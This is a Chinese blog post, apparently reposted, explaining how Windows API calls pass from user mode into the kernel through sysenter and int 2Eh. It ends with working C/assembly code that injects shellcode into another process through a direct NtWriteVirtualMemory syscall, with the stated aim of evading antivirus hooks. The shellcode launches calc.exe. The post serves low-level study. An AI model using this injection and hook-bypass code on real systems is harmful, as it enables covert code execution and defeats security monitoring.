API函數的調用過程(三環到零環)以及重寫WriteProcessMemory三環


前言:花了兩天寫了去寫拷貝之后,這里就繼續學習API函數的調用過程

這個章節學完之后就可以重寫相關三環API來實現免殺的效果。

Windows API

Application Programming Interface,簡稱 API 函數。

Windows的API主要是存放在 C:\WINDOWS\system32 下面所有的dll

幾個重要的DLL

kernel32.dll:最核心的功能模塊,比如管理內存、進程和線程相關的函數等

user32.dll:是Windows用戶界面相關應用程序接口,如創建窗口和發送消息等

gdi32.dll:全稱是Graphical Device Interface(圖形設備接口),包含用於畫圖和顯示文本的函數。比如要顯示一個程序窗口,就調用了其中的函數來畫這個窗口

ntdll.dll:大多數API都會通過這個DLL進入內核(0環).

分析ReadProcessMemory

IDA首先分析kernel32.dll,平常都是聽大家說kernel32.dll提供了部分API的接口調用,所以這里先來看kernel32.dll,搜索ReadProcessMemory關鍵字如下圖所示

可以看到是該ReadProcessMemory函數實際不是在當前kernel32.dll中調用,也就是kernel32.dll提供了接口調用

call ds:NtReadVirtualMemory,IDA中的明顯特征調用是其他的DLL中的函數

這里查看導入表可以看到該NtReadVirtualMemory是ntdll.dll中的,所以這里繼續看ntdll.dll中該函數,如下圖所示

主要核心的代碼就這幾條,可以看到這里有兩個值,一個是0BAh(每個函數都是不同的),還有一個是7FFE0300h(相同的)

0BAh->函數服務號

7FFE0300h->快速調用

.text:7C92D9FE                 mov     eax, 0BAh       ; eax = 0xBA
.text:7C92DA03                 mov     edx, 7FFE0300h  ; ecx = 7FFE0300
.text:7C92DA08                 call    dword ptr [edx] ; call 7FFE0300
.text:7C92DA0A                 retn    14h             ; 堆棧平衡

通過其他的也可以發現,調用不同的函數的時候,唯一不同的就是服務號,而這個CALL 7FFE0300都是一樣的

0x7FFE0300和_KUSER_SHARED_DATA

在了解0x7FFE0300的作用之前,這里還需要學習下_KUSER_SHARED_DATA結構體

_KUSER_SHARED_DATA結構體

1、在 User 層和 Kernel 層分別定義了一個 _KUSER_SHARED_DATA 結構區域,用於 User 層和 Kernel 層共享某些數據

知識點:這里可以通過windbg來進行觀察,如下圖所示

2、它們使用固定的地址值映射,_KUSER_SHARED_DATA 結構區域在 User 和 Kernel 層地址分別為:

  • user 層地址為:0x7FFE0000

  • kernnel 層地址為:0xFFDF0000

上面兩個地址通過windbg進行查看可以發現指向的都是同一個物理頁

注意點:雖然指向的是同一個物理頁,但在User層(3環)是只讀的,在kernel(0環)層是可寫的,所以這也是應用層和驅動層實現調用的數據交換的一種方式

0x7FFE0000的PTE

5 -> 0101 R/W位為0,所以可以知道User層是不可寫的

0xFFDF0000的PTE

3 -> 0101 R/W位為1,所以可以知道kernel層是可寫的

重要的知識點:

因為_KUSER_SHARED_DATA結構體是調用0環函數的重要點,所以操作系統對所有的進程其中的_KUSER_SHARED_DATA的地址都是一樣的,都是0x7FFE0000這個地址

那么問題就來了?那我是不是hook這個地方也同樣能夠實現全局的HOOK進入三環的函數?

答案是的,但是上面也可以發現用戶層的話是不可寫的,如果你在0環的話那么就可以全局HOOK的操作!

關於0x7FFE0300

上面介紹了_KUSER_SHARED_DATA結構體,這里繼續來學習該結構體偏移0x300的位置,也就是快速調用

其中0x7FFE0300就是0x7FFE0000偏移0x300的地址,也就是_KUSER_SHARED_DATA結構體起始偏移0x300的地址,如下圖所示

dt _KUSER_SHARED_DATA 0x7FFE0000(注0x7FFE0000是一個進程的CR3,在dt命令執行先切換到一個進程的上下文.process)

可以看到其實是一個SystemCall字段名稱,其中存儲的值為0x7c92e510

那么這里來觀察下0x7FFE0300其中存儲的是什么,u 0x7c92e510,如下圖所示,可以看到就是快速調用的指令sysenter

知識點:

如果當前操作系統支持快速調用的話那么u 0x7c92e510出現的就是相關KiFastSystemCall快速調用的流程(通過sysenter)

如果當前操作系統不支持快速調用的話那么u 0x7c92e510出現的就是相關KiIntSystemCall的調用流程(通過中斷門)

KiFastSystemCall

如果操作系統支持快速調用的方式,那么操作系統通過三環進入零環是通過syscenter指令

查看是否支持快速調用

當通過eax=1來執行cpuid指令時,處理器的特征信息被放在ecx和edx寄存器中,其中edx包含了一個SEP位(11位),該位指明了當前處理器知否支持sysenter/sysexit指令

cpuid指令

接着單步走一下,可以發現ecx和edx都改變了

ecx:7FFAFBBF

edx::FEBFBFF

BFEBFBFF -> 1011 1111 1110 1011 1111 1011 1111 1111

可以看到第0位開始,第11位為1,所以我這台windows10的機器是支持快速調用的

sysenter執行的本質

而CPU如果支持sysenter指令時,操作系統會提前將CS/SS/ESP/EIP的值存儲在MSR寄存器中,sysenter指令執行時,CPU會將MSR寄存器中的值直接寫入相關寄存器,沒有讀內存的過程,所以叫快速調用,本質是一樣的!

  1. CS的權限由3變為0,意味着需要新的CS

  2. SS與CS的權限永遠一致,所以需要新的SS

  3. 權限發生切換的時候,堆棧也一定會切換,需要新的ESP

  4. 進0環后代碼的位置,需要EIP

這里可以測試操作系統在MSR寄存器中存儲的值是多少,如下圖所示

這里還會看到,MSR寄存器在只提供了三個寄存器分別是ESP EIP CS,那么SS誰提供的呢?sysenter默認算法,SS = CS+8

快速調用的內核函數KiFastCallEntry

KiIntSystemCall

如果當前CPU不支持快速調用的話,那么它的實現方式是通過中斷門來進入0環

中斷門進0環,需要的CS、EIP在IDT表中,需要查內存(SS與ESP由TSS提供)

中斷門調用的內核函數KiSystemService

這里還需要學習下KiSystemService,這個就是當KiIntSystemCall中斷門提權int 2Eh之后的EIP的位置

dq idtr+8*0x2e,如下圖所示

通過拆分就可以直接當前中斷門描述符進入0環之后的位置為0x804de7d1

那么這里繼續跟u 0x804de7d1,如下圖所示,這里就可以看到會調用KiSystemService函數

重寫WriteProcessMemory

重寫API的意義:自己實現API,可以避免3環惡意掛鈎。

自己編寫WriteProcessMemory函數(不使用任何DLL,直接調用0環函數)並在代碼中使用。

KiIntSystemCall:

KiFastSystemCall:

代碼如下:

#include<stdio.h>
#include<windows.h>

BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk=FALSE;
	if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount=1;
		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
		
		tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
		
		fOk=(GetLastError()==ERROR_SUCCESS);
		CloseHandle(hToken);
	}
    return fOk;
}


__declspec(naked) void KiFastSystemCall()
{
	__asm
	{
		mov edx,esp;
		_emit 0x0F; // sysenter 
		_emit 0x34;
	}
}

__declspec(naked) void KiFastSystemCall2NtWriteVirtualMemory()
{
	
	__asm
	{
		mov eax, 115h;
		lea edx, [KiFastSystemCall];
		call edx;
		retn 14h;
	}
}

__declspec(naked) void KiIntSystemCall()
{
	__asm
	{
		lea edx,[esp+8];
		int 2Eh;
		ret;
	}
}

__declspec(naked) void KiIntSystemCall2NtWriteVirtualMemory()
{
	
	__asm
	{
		mov eax, 115h;
		lea edx, [KiIntSystemCall];
		call edx;
		retn 14h;
	}
}


int main(int argc, char* argv[])
{
	DWORD dwWritten;
	DWORD dwProcessPid;
	HANDLE hProcess;
	DWORD dwAddr;
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	
	EnableDebugPrivilege();
	printf("Injection Pid: ");
	scanf("%d", &dwProcessPid);
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
	dwAddr = (DWORD)VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	// WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
	
	// KiFastSystemCall2NtWriteVirtualMemory
	// KiIntSystemCall2NtWriteVirtualMemory
	__asm
	{
		pushad;
		pushfd;
		lea eax, [dwWritten];
		push eax;
		push 0x105;
		lea ebx, [shellcode];
		push ebx;
		push dwAddr;
		push hProcess;
		call KiFastSystemCall2NtWriteVirtualMemory;
		//call KiIntSystemCall2NtWriteVirtualMemory;
		popfd;
		popad;
	}
	CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, 0, 0, 0);
	system("pause");
	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM